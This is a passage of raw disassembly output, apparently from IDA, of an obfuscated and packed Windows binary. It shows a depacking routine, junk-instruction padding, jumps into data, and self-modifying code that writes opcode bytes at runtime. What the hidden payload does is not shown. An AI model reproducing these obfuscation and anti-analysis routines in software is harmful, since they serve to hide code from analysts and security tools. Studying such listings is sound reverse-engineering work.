52D4D938h, 12BD37D2h, 0D1F9BA88h, 7FF2E0FBh dd 2B3616E6h, 7B621E16h, 0C57E0D6Fh, 0B4A2D1DDh, 0BF83FEC6h dd 0D3C1E5BAh, 0C5D6CA5Ch, 0BBDEF375h, 873D1249h, 6467D5CBh dd 50D6C075h, 3E0AEC87h, 985CBF79h, 1BDF4BE1h, 8555B1C4h dd 6A50730Bh, 0CE021D27h, 4577204Eh, 15EB3BBAh, 5EECBC19h dd 9B5DBADEh, 0A6A982FFh, 85DEE3A9h, 51489366h, 1A3BAA36h dd 0BAA41F5Dh, 0EC70425Dh, 0EB7A1DC6h, 8F2B31AFh, 16C57ACFh dd 0FB290000h, 6132h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E5F8 proc near ; DATA XREF: sub_432AFD+3Ao var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042E777 SIZE 00000004 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh cld push ebx push edi push esi mov [ebp+var_4], eax mov [ebp+var_8], edx mov esi, eax mov edi, edx cmp word ptr [esi], 434Ah jnz loc_42E73A add esi, 0Ah mov [ebp+var_C], 8 xor ebx, ebx mov edx, 80000000h inc ebx loc_42E629: ; CODE XREF: sub_42E5F8+46j ; sub_42E5F8+8Dj ... xor eax, eax call sub_42E741 jnb short loc_42E640 mov ecx, [ebp+var_10] call sub_42E759 add al, [ebp+var_11] loc_42E63D: ; CODE XREF: sub_42E5F8+65j stosb jmp short loc_42E629 ; --------------------------------------------------------------------------- loc_42E640: ; CODE XREF: sub_42E5F8+38j call sub_42E741 jb loc_42E6E2 call sub_42E741 jnb short loc_42E6AD mov ecx, 4 call sub_42E759 dec eax jz short loc_42E63D jns loc_42E72C call sub_42E741 jnb short loc_42E687 push ebp loc_42E66D: ; CODE XREF: sub_42E5F8+8Aj mov ebp, 100h loc_42E672: ; CODE XREF: sub_42E5F8+83j call sub_42E74E mov [edi], al inc edi dec ebp jnz short loc_42E672 call sub_42E741 jb short loc_42E66D pop ebp jmp short loc_42E629 ; --------------------------------------------------------------------------- loc_42E687: ; CODE XREF: sub_42E5F8+72j mov ecx, 1 call sub_42E759 add eax, 7 mov [ebp+var_10], eax mov [ebp+var_11], 0 cmp eax, 8 jz short loc_42E629 call sub_42E74E mov [ebp+var_11], al jmp loc_42E629 ; --------------------------------------------------------------------------- loc_42E6AD: ; CODE XREF: sub_42E5F8+58j mov ecx, 7 call sub_42E759 push eax mov ecx, 2 call sub_42E759 mov ecx, eax inc ecx inc ecx pop eax or eax, eax jz short loc_42E6CF mov ebx, eax jmp short loc_42E72D ; --------------------------------------------------------------------------- loc_42E6CF: ; CODE XREF: sub_42E5F8+D1j cmp ecx, 2 jz short loc_42E73A inc ecx call sub_42E759 mov [ebp+var_C], eax jmp loc_42E629 ; --------------------------------------------------------------------------- loc_42E6E2: ; CODE XREF: sub_42E5F8+4Dj call sub_42E765 dec ecx loop loc_42E6F3 mov eax, ebx call sub_42E765 jmp short loc_42E72D ; --------------------------------------------------------------------------- loc_42E6F3: ; CODE XREF: sub_42E5F8+F0j dec ecx mov eax, ecx push ebp mov ecx, [ebp+var_C] mov ebp, eax xor eax, eax shl ebp, cl call sub_42E759 or eax, ebp pop ebp mov ebx, eax call sub_42E765 cmp eax, 10000h jnb short loc_42E72A cmp eax, 37FFh jnb short loc_42E72B cmp eax, 27Fh jnb short loc_42E72C cmp eax, 7Fh ja short loc_42E72D inc ecx loc_42E72A: ; CODE XREF: sub_42E5F8+11Cj inc ecx loc_42E72B: ; CODE XREF: sub_42E5F8+123j inc ecx loc_42E72C: ; CODE XREF: sub_42E5F8+67j ; sub_42E5F8+12Aj inc ecx loc_42E72D: ; CODE XREF: sub_42E5F8+D5j ; sub_42E5F8+F9j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_42E629 ; --------------------------------------------------------------------------- loc_42E73A: ; CODE XREF: sub_42E5F8+19j ; sub_42E5F8+DAj mov eax, esi pop esi pop edi pop ebx jmp short loc_42E777 sub_42E5F8 endp ; =============== S U B R O U T I N E ======================================= sub_42E741 proc near ; CODE XREF: sub_42E5F8+33p ; sub_42E5F8:loc_42E640p ... add edx, edx jnz short locret_42E74D mov edx, [esi] add esi, 4 stc adc edx, edx locret_42E74D: ; CODE XREF: sub_42E741+2j retn sub_42E741 endp ; =============== S U B R O U T I N E ======================================= sub_42E74E proc near ; CODE XREF: sub_42E5F8:loc_42E672p ; sub_42E5F8+A8p mov ecx, 8 call sub_42E759 retn sub_42E74E endp ; =============== S U B R O U T I N E ======================================= sub_42E759 proc near ; CODE XREF: sub_42E5F8+3Dp ; sub_42E5F8+5Fp ... xor eax, eax loc_42E75B: ; CODE XREF: sub_42E759+9j call sub_42E741 adc eax, eax loop loc_42E75B retn sub_42E759 endp ; =============== S U B R O U T I N E ======================================= sub_42E765 proc near ; CODE XREF: sub_42E5F8:loc_42E6E2p ; sub_42E5F8+F4p ... xor ecx, ecx inc ecx loc_42E768: ; CODE XREF: sub_42E765+Fj call sub_42E741 adc ecx, ecx call sub_42E741 jb short loc_42E768 retn sub_42E765 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5F8 loc_42E777: ; CODE XREF: sub_42E5F8+147j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42E5F8 ; --------------------------------------------------------------------------- align 4 loc_42E77C: ; CODE XREF: fzj3qwht:00431278j ; DATA XREF: sub_432AF7o ... xchg ecx, [esp] pop ecx or eax, eax jnz locret_42FA0B push offset loc_42FA05 jmp locret_42F9F2 ; --------------------------------------------------------------------------- dw 0F00h dd 2D83h, 0DF2B5600h, 5579F081h, 0DAE97BE9h, 2Eh, 0C300h ; CODE XREF: fzj3qwht:loc_42FB05j dd 0A84AA9BAh, 0F4840FE6h, 0E9000030h, 3C2Bh, 7C870F00h dd 8B000023h, 8C0F005Dh, 2B0Fh, 0D852E881h, 0F881A4B4h dd 0D7897CECh, 0EBDE9h, 24348700h, 0E8C7815Eh, 0B3B3ED6Eh dd 40F0E907h, 0D5810000h, 0F37DDA44h, 2D52E9h, 34870000h dd 0FAE85E24h, 0C3000024h, 0F4DE9h, 74858B00h, 68FFFFFFh dd 4323D0h, 170AE9h, 0F000000h, 34F984h, 0FF850F00h, 0E900001Dh dd 188Dh, 0E900C300h, 16Ch, 34E900h, 0 ; --------------------------------------------------------------------------- loc_42E83C: ; DATA XREF: sub_430917+1CBFo call sub_432992 mov ds:byte_43219D, 0E8h mov ds:byte_43054D, 87h mov ds:byte_430550, 5Eh mov ds:byte_430551, 0Fh mov ds:byte_431DCE, 0Fh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0E9h ; CODE XREF: sub_4301AC+11EAj dd 16D7h, 0E9C300C3h, 2DD0h, 0F6810000h, 0A7D55A35h, 0FFFF79E9h ; DATA XREF: sub_431410:loc_42FE63o dd 0C300FFh, 298FE9h, 51000000h, 430ECDB9h, 363CE900h dd 0 ; --------------------------------------------------------------------------- loc_42E898: ; DATA XREF: fzj3qwht:0042EFF7o xchg edi, [esp] mov eax, edi pop edi and eax, 5B675CFFh rol eax, 18h jmp loc_4310CB ; --------------------------------------------------------------------------- dd 0EE80000h, 0C3000000h, 3A65E900h, 64E90000h, 13h, 0DD8B5300h ; CODE XREF: fzj3qwht:0043173Dj dd 1442E9h, 0F7330000h, 6D4E9h, 8890000h, 1DC8E9h, 237DE800h dd 0B4E90000h, 0Fh, 0AB3E900h, 0 ; --------------------------------------------------------------------------- loc_42E8EC: ; DATA XREF: fzj3qwht:00432581o add eax, ebp loc_42E8EE: ; CODE XREF: fzj3qwht:00430260j push edi push 7A10CB36h pop edi or edi, 0B4026B69h add edi, 2C64EABFh jmp loc_430FB4 ; --------------------------------------------------------------------------- align 4 loc_42E908: ; CODE XREF: fzj3qwht:00432272j mov byte ptr [edi], 0Fh pop edi add ecx, 0DB520Bh push offset loc_42F7FD jmp locret_42F7F7 ; --------------------------------------------------------------------------- dd 0FA810000h, 26F63A9Dh, 3900E9h, 0F000000h, 4C984h, 234CE900h dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F11 loc_42E938: ; CODE XREF: sub_431F11+80Dj pop edi and esi, 44D2FDBDh xor esi, 0FBEF6A7Ah call sub_42EFCF add al, ch ; CODE XREF: sub_43052F:loc_4308D6j xchg eax, esi push cs ; END OF FUNCTION CHUNK FOR sub_431F11 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- loc_42E950: ; CODE XREF: fzj3qwht:00431C4Cj jmp loc_431118 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h ; CODE XREF: sub_431410+642j dd 0E32h, 4C083C3h, 43117D68h, 784E900h, 0 ; --------------------------------------------------------------------------- xor eax, 0AE6DD5A0h or eax, 18CF1777h add eax, 553FC9Fh jmp loc_43231A ; --------------------------------------------------------------------------- align 4 dd 0FDB95100h, 0E90042FBh, 1CF2h ; =============== S U B R O U T I N E ======================================= sub_42E990 proc near ; CODE XREF: sub_431410+60Ep xchg ebx, [esp+0] pop ebx call loc_431480 and edx, esi jmp sub_4316FE sub_42E990 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 2 dw 0F581h dd 6F84440Dh, 0FDE5840Fh, 27E9FFFFh, 39h, 0E900C35Eh, 0F0Dh dd 0CC680000h, 0E9004311h, 3DF2h, 5B241C87h, 878702C6h dd 0D68B2434h, 81D5035Eh, 3C2D5CC2h, 2454E926h, 0C30000h dd 1DEAC100h, 0D04FC581h, 16E9262Ch, 0Eh, 8B45C700h, 65746365h dd 648F4565h, 56005B20h, 34A65E55h, 31A2E924h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_42EA10: ; CODE XREF: sub_4301B7+149Aj jnz loc_42ED1B rol ebx, 12h jmp loc_42ED0A ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- align 10h jb loc_42F7E6 js loc_43128E jmp sub_430315 ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; CODE XREF: fzj3qwht:loc_431CA3p ; --------------------------------------------------------------------------- adc al, 24h pop edx mov byte ptr [eax], 87h call sub_431AED loc_42EA3F: ; CODE XREF: fzj3qwht:0042F802j jmp locret_431508 ; --------------------------------------------------------------------------- dd 0DE8B5300h, 0BE241C87h, 42F150h, 0AECE9h, 0C6810000h dd 8BD7ED42h, 430CE868h, 38AEE900h, 850F0000h, 2110h, 29DB840Fh dd 9E90000h, 32h, 815D5800h, 183A66C0h, 56E8812Ah, 813B8F4Dh dd 0E5340E0h, 0A6850F4Ah, 2Ah, 85CD0300h, 2A3DE9C1h, 5A000000h dd 0D79687Fh, 815850C9h, 537AABE8h, 3FC0818Ah, 0E923AF97h dd 356Eh, 2C870000h, 0E0376824h, 815FC5D9h, 0E1E360F7h dd 80C781A8h, 87930AE7h, 0D0E9243Ch, 68000016h, 0B643DA4h dd 3A09E9h, 0C0D15800h, 0A199C081h, 6EE96BBBh, 7, 23E18C0Fh dd 880F0000h, 43Ch, 3A10820Fh, 7E680000h, 56A858B1h, 3487F18Bh dd 0EF28B924h, 51E90042h, 8B000030h, 0C4EE8F5h, 0E9000000h dd 11C3h, 3905E9h db 3 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_42F912 ; --------------------------------------------------------------------------- align 2 add ebx, 0ABCA0E5Dh jmp loc_42F29D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4323E7 loc_42EB3D: ; CODE XREF: sub_4323E7:loc_431BC3j jnb near ptr dword_42EF00+4 ; END OF FUNCTION CHUNK FOR sub_4323E7 ; --------------------------------------------------------------------------- db 0 db 0 db 0E9h ; é db 0DFh ; ß db 0Eh db 0 db 0 db 0F7h ; ÷ db 0C5h ; Å db 0BFh ; ¿ db 99h ; ™ db 0B1h ; ± db 0CFh ; Ï db 0E9h ; é db 98h ; ˜ db 23h ; # db 0 db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42EB56 proc near ; CODE XREF: sub_431410:loc_432616p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042FAD6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004324E3 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push esi push 1EE5CBDBh xchg ecx, [esp+4+var_4] mov esi, ecx pop ecx jmp loc_4324E3 sub_42EB56 endp ; --------------------------------------------------------------------------- jl loc_42F059 add ecx, eax jmp loc_431989 ; --------------------------------------------------------------------------- dd 0E4680000h, 0E900430Fh, 245Ah, 570AE881h, 0F881FB67h dd 8D2465C8h, 0BADE9h, 128B0000h, 0A43C2AF6h, 6850Fh, 0BAE90000h dd 10h, 0E9243C87h, 1D55h, 0E9F73B00h, 2632h, 17C1C100h dd 9758C181h, 0F103DD14h, 1BEFE859h, 0AEE90000h, 0C600000Ah dd 0CF688707h, 0E90042ECh, 3179h, 24348700h, 15F2E85Eh dd 0E2E90000h, 0E9000007h, 2D02h, 4182F081h, 890FF843h dd 3398h, 0FF82E900h, 0FC68FFFFh, 1B9E49DAh, 0FC5C1DEh dd 3377E9h, 3C870000h, 5FC78B24h, 93CE881h, 0C0C10807h dd 78E88106h, 0E971ED4Fh, 1D26h, 7A8D0F00h, 1300000Eh dd 2021E9DEh, 0E8520000h, 9F2h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42EC41: ; CODE XREF: sub_431686:loc_4310CBj add eax, 0F3F0EDE9h or eax, eax jz loc_42FB23 push esi push 96844F2Eh pop esi xor esi, 0CEE1DA5Bh and esi, 902E7186h jmp loc_42F33B ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 4 dd 0B8CE8100h, 8105E07Dh, 4BFE8DC6h, 1953E9F8h, 3000000h ; CODE XREF: fzj3qwht:loc_431D41j dd 0E71E8C5h, 0D9810000h, 2D350DD6h, 8F6BF581h, 0F28101C9h dd 164F6DD3h, 5396CA81h, 0C2819CF0h, 72654390h, 380BE9h dd 2D680000h, 5A3934CAh, 8112C2C1h, 346938C2h, 0D6CA81E1h dd 814D70E9h, 31F110FAh, 21B5E98Dh, 19870000h, 1861E9h dd 0E8000000h, 1241h, 24148700h, 6268535Ah, 5BE74228h dd 0F60C381h, 0CBE9D7DCh, 1Dh, 4C08CF81h, 0C7810983h, 0AE32EAAEh dd 0DD5FC703h, 1C68E800h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4316FE loc_42ED04: ; CODE XREF: sub_4316FE+26Dj jmp loc_42F975 ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_42ED0A: ; CODE XREF: sub_4301B7-179Ej jnb loc_430EA7 ror edi, 0Fh sub edi, ebx js loc_42FA8F loc_42ED1B: ; CODE XREF: sub_4301B7:loc_42EA10j sub ecx, 33D8C30Dh jmp loc_42FC14 ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- align 4 loc_42ED28: ; CODE XREF: fzj3qwht:loc_43062Bj mov byte ptr [edx], 8Bh pop edx xor eax, 0ED7BE5CBh rol eax, 1 call loc_42FFDE push offset dword_42FBD0 jmp locret_430DBE ; --------------------------------------------------------------------------- align 4 shl edi, 14h jmp loc_42EF97 ; --------------------------------------------------------------------------- loc_42ED4C: ; CODE XREF: fzj3qwht:004303FFj pop ecx or ecx, 0D84A7015h and ecx, 41F09B30h xor ecx, 0E21DFF6Ah loc_42ED5F: ; CODE XREF: fzj3qwht:0042EDDCj and ecx, 0BAD399F6h xor ecx, 0CB8ED07Ch cmp eax, ecx pop ecx jmp loc_42FB05 ; --------------------------------------------------------------------------- align 4 dd 240C8700h, 8159C18Bh, 183A66C0h, 2BFCE92Ah db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42ED87 proc near ; CODE XREF: sub_4301B7-59Bp ; fzj3qwht:004318DCj xchg ebx, [esp+0] pop ebx push offset word_42FE22 jmp nullsub_128 sub_42ED87 endp ; --------------------------------------------------------------------------- align 2 loc_42ED96: ; CODE XREF: fzj3qwht:0042FBB7j mov byte ptr [ecx], 9Dh xchg edx, [esp] mov ecx, edx pop edx add esi, 160EEDBCh jmp loc_431B37 ; --------------------------------------------------------------------------- align 4 pop edx rol edx, 1Eh sub edx, 0E53CBE58h rol edx, 1Bh add edx, 84264892h push offset sub_4301AC jmp loc_430AB0 ; --------------------------------------------------------------------------- db 2 dup(0), 68h ; --------------------------------------------------------------------------- fdivr dword ptr [esi-7EA0B83Eh] mov dword ptr [ebx-7E17E1BCh], 9414F5EFh jnb short loc_42ED5F mov esi, 3B8D0F1Ah mov dword ptr [edi-17h], 8FCh mov esi, [eax] jmp sub_430E46 ; --------------------------------------------------------------------------- dw 0B00h dd 0FB96E9EAh, 0B0E9FFFFh, 2Bh, 0E8008B00h, 0FFFFF974h dd 0F482BE00h, 96E90042h, 2Eh, 0E0815800h, 443009E0h, 0F061E881h dd 6852DEAFh, 0AAB557F4h, 1659E95Ah, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- mov eax, offset loc_4301BF jmp loc_42F5B2 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431AED loc_42EE3D: ; CODE XREF: sub_431AED:loc_4316D0j pop esi rol eax, 1Ch or eax, 1BB14DB6h xor eax, 73E5362Dh or eax, 0FA29AD7Bh push offset byte_43047B jmp nullsub_132 ; END OF FUNCTION CHUNK FOR sub_431AED ; --------------------------------------------------------------------------- locret_42EE5D: ; CODE XREF: fzj3qwht:00430D62j retn ; --------------------------------------------------------------------------- loc_42EE5E: ; CODE XREF: fzj3qwht:004307F2j jmp loc_430EA7 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFFA71h, 0E9D62300h, 1D68h, 85680000h, 0E9004310h dd 15C4h, 0B645E181h, 12E96A13h, 35h, 0BF58C0Fh, 0DF1B0000h ; =============== S U B R O U T I N E ======================================= sub_42EE90 proc near ; CODE XREF: sub_431452:loc_431517p ; FUNCTION CHUNK AT 0042FEF6 SIZE 0000000B BYTES xchg esi, [esp+0] pop esi jmp loc_42FEF6 sub_42EE90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 push offset aHSoxbstxpchC ; "hÝš‘®Xè’•¯—hê(C" jmp locret_42FF52 ; --------------------------------------------------------------------------- dd 0A0C015FFh, 0E8520042h, 34FAh, 0DCE90000h, 4, 316EE800h dd 0E9000000h, 20Ah, 0C6C10000h, 5C6811Fh, 3200022h, 0F2E368C6h dd 5E90042h, 4, 42EBCF68h, 333AE900h db 3 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_42EEE9: ; DATA XREF: sub_431452+8E3o push edi push 49D322Eh pop edi jmp loc_431502 ; --------------------------------------------------------------------------- loc_42EEF5: ; CODE XREF: fzj3qwht:loc_42EF3Ej push edx mov edx, offset dword_43263C jmp loc_431635 ; --------------------------------------------------------------------------- dword_42EF00 dd 0E90B9C00h, 183FC681h, 63E9BD4Dh, 0FFFFFFh ; CODE XREF: sub_4323E7:loc_42EB3Dj ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431167 loc_42EF10: ; CODE XREF: sub_431167:loc_430E98j mov eax, ecx xchg eax, [esp+0] lea eax, byte_431DCE push eax mov eax, offset loc_430C96 jmp loc_430025 ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- align 4 loc_42EF28: ; CODE XREF: fzj3qwht:004324B0j add al, 0D5h add edx, 8FA0DCAEh mov edx, [edx] jmp loc_43230D ; --------------------------------------------------------------------------- align 4 jb loc_432512 loc_42EF3E: ; CODE XREF: fzj3qwht:0042F13Cj jmp loc_42EEF5 ; --------------------------------------------------------------------------- align 4 mov byte ptr [ecx], 8Bh pop ecx push ebp mov ebp, esp call sub_431452 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_42EF52: ; CODE XREF: sub_431452+155j jmp loc_430598 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- align 4 dd 0E9EA3B00h, 1300h, 24148700h, 0B68525Ah, 516DBA1Ah dd 0C87C88Bh, 0A4366824h, 66E9CA43h, 0FFFFFBh, 24348700h dd 8B243C87h, 96E95FF7h, 0E800000Bh, 3316h, 85FE9h db 3 dup(0) ; --------------------------------------------------------------------------- loc_42EF97: ; CODE XREF: fzj3qwht:0042ED47j xchg edi, [esp] pop edi mov byte ptr [ebx], 3 pop ebx jmp loc_42F38D ; --------------------------------------------------------------------------- dd 0E9F73B00h, 325Ah, 0C74E89Dh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF6B loc_42EFB2: ; CODE XREF: sub_42FF6B-226j jmp loc_432476 ; END OF FUNCTION CHUNK FOR sub_42FF6B ; --------------------------------------------------------------------------- align 4 loc_42EFB8: ; CODE XREF: fzj3qwht:loc_43231Aj mov byte ptr [eax], 0Fh pop eax add eax, 835E3283h or eax, 6BE77C8Ah call sub_431410 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42EFCF proc near ; CODE XREF: sub_431F11-35CCp ; FUNCTION CHUNK AT 004304D0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00430761 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043077E SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx push edx mov edx, esi xchg edx, [esp+0] jmp loc_430761 sub_42EFCF endp ; --------------------------------------------------------------------------- mov byte ptr [eax], 0 push 42BC145Ch pop eax push ebx jmp loc_42FAB8 ; --------------------------------------------------------------------------- align 2 xchg edi, [esp] pop edi push 0F16A060Ch push offset loc_42E898 jmp locret_43012D ; --------------------------------------------------------------------------- align 2 xor ecx, 4AFA3F1Eh popf cdq idiv ecx mov [ebp-8], eax inc dword ptr [ebp-10h] cmp dword ptr [ebp-8], 0 jmp loc_430A24 ; --------------------------------------------------------------------------- align 4 dd 0E9F83300h, 385Fh, 0DF685200h, 5A05EA83h, 9EF7F281h dd 0C2815DE0h, 524D8661h, 95A6E281h, 0EA819643h, 509172ECh dd 26DEE9h, 0C3000000h db 0 ; =============== S U B R O U T I N E ======================================= sub_42F04D proc near ; CODE XREF: fzj3qwht:004309DEj ; fzj3qwht:00430BCBp arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004308AD SIZE 0000000B BYTES xchg eax, [esp+0] xchg edi, [esp+0] mov eax, edi pop edi mov [esi], eax pop esi loc_42F059: ; CODE XREF: fzj3qwht:0042EB6Bj pushf call sub_4312D7 loc_42F05F: ; CODE XREF: sub_430315+Aj jmp loc_4308AD sub_42F04D endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0F0685000h, 5816BD4Ch, 0E90CC0C1h, 0FFFFF871h, 58240487h dd 7D0D689Ch, 8159F794h, 418DD4F1h, 0FAE957D7h, 5500001Eh dd 2C87EB8Bh, 0ECFBBB24h, 46E90042h, 2Ch, 7DC78100h, 874D102Dh dd 3159240Ch, 850F49C2h, 3372h, 204AE9h, 8B0F0000h, 1C6Ch dd 8C26E981h, 0F8685644h, 0E90042FCh, 1D30h, 0D1870000h dd 6B59E381h, 0E9815DDAh, 0D603131h, 8DFE9h, 0C2810000h dd 0BA4757FAh, 25CEE9h, 0C30000h, 0C1C1E913h, 3AE0811Ah dd 81163211h, 2E8703C0h, 53C5037Fh, 0C52DA968h, 98E95B9Ch dd 1Ch, 3369810Fh, 93E90000h, 87000003h, 3798E92Eh, 89000000h dd 17ECE911h, 0 dd 1AC2840Fh, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_42F134: ; CODE XREF: sub_431F5F-1446j jmp nullsub_141 ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- align 2 sub ebx, ecx jle loc_42EF3E adc esi, 0D22D44C4h mov edi, ebx jmp loc_430BF4 ; --------------------------------------------------------------------------- loc_42F14F: ; DATA XREF: sub_42F4AE:loc_43045Ao dec ecx pop dword ptr [ebp+32CCh] push ebx mov ebx, esi xchg ebx, [esp] mov esi, offset byte_42FA73 jmp loc_431F76 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_42F167: ; CODE XREF: sub_431F5F+11j jnz loc_4311F0 jmp loc_43112B ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- dw 0C600h ; --------------------------------------------------------------------------- add esp, edi pop ecx and edx, 0C7760987h sub edx, 8138A0BCh jmp loc_4326D5 ; =============== S U B R O U T I N E ======================================= sub_42F188 proc near ; CODE XREF: fzj3qwht:004302F1j ; FUNCTION CHUNK AT 0042F9E4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043197D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431C6E SIZE 0000000F BYTES xchg ebx, [esp+0] pop ebx mov byte ptr [eax], 3 pop eax push 0BBE934A2h pop esi and esi, 66EAE457h cmp esi, 69421CB2h jmp loc_43197D sub_42F188 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42F1A7: ; DATA XREF: sub_43041D-10EEo push edi push 70AFED03h pop edi sub edi, 0D94413C9h rol edi, 14h add edi, 6C9985FCh jmp loc_42F3DB ; --------------------------------------------------------------------------- xor edi, eax jmp loc_43264B ; --------------------------------------------------------------------------- loc_42F1C9: ; CODE XREF: fzj3qwht:0042FE4Cj pop ebx retn 0Ch ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 83D7BDF0h jmp loc_43180A ; --------------------------------------------------------------------------- add edx, 8B68BECEh or edx, 7BDE42BAh xor edx, 907FFCFBh add edx, 10A155E7h jmp loc_43062B ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42F1F8: ; CODE XREF: sub_42F4AE:loc_42F4E0j mov edx, esi pop esi and edx, 4CD3CB6Eh add edx, 0B3F0012Ah call sub_430B68 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dd 1C870000h, 51505B24h, 0E1E9CF8Bh, 13000022h, 0F4DB81C5h dd 0E9314B9Ch, 0CA8h, 0FAE80000h, 2300001Dh, 0FD2BE9CBh dd 0F00FFFFh, 0FFFEB88Dh, 0CC830FFFh, 81000003h, 6AB0A6D9h dd 0FEA2E9FAh, 0C300FFFFh, 13DBE900h, 73E90000h, 0FFFFFFh dd 2033E900h db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42F263 proc near ; CODE XREF: fzj3qwht:loc_430A50p ; fzj3qwht:00430DC4j xchg esi, [esp+0] pop esi push 5E4244D3h pop esi or esi, 0D715F8E6h jmp loc_42F73C sub_42F263 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebx, [edx] jmp loc_432804 ; --------------------------------------------------------------------------- align 10h dd 241C8700h, 20D2E8h, 0E9000000h, 2D4Fh, 0CDC10000h, 0E9D70319h dd 1D8Dh db 0 ; --------------------------------------------------------------------------- loc_42F29D: ; CODE XREF: fzj3qwht:0042EB38j jge loc_4328A5 call loc_4314E1 ; START OF FUNCTION CHUNK FOR sub_430C8C loc_42F2A8: ; CODE XREF: sub_430C8C+Dj jmp loc_42F671 ; END OF FUNCTION CHUNK FOR sub_430C8C ; --------------------------------------------------------------------------- and edi, ecx jmp sub_430C8C ; --------------------------------------------------------------------------- push 50E0B77Fh pop ecx add ecx, 955E3D35h rol ecx, 19h xor ecx, 9FC8C517h add eax, ecx pop ecx mov eax, [eax] jmp loc_431A72 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42F2D4: ; CODE XREF: sub_42F4AE+DEj ; fzj3qwht:loc_42FAB8j mov ebx, offset nullsub_138 jmp loc_4325E1 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- db 2 dup(0), 5Eh ; --------------------------------------------------------------------------- loc_42F2E4: ; CODE XREF: fzj3qwht:loc_4322A0j push (offset loc_430364+1) jmp loc_4322E3 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42F2F0: ; CODE XREF: sub_42F4AE+17j xchg ebx, [esp-4+arg_0] xchg eax, [esp-4+arg_0] mov ebx, eax pop eax add ecx, 0DF6D33BFh popf push offset byte_4317BD jmp loc_432376 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 4 dd 0E89D008Bh, 1D82h, 0E9990000h, 2D10h, 243C8700h, 84C685Fh dd 0F5E90043h, 0Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_42F32C: ; CODE XREF: sub_43041D-D0Ej ; fzj3qwht:0042F71Aj xchg ebx, [esp+0] push offset loc_42F1A7 jmp loc_43083D ; END OF FUNCTION CHUNK 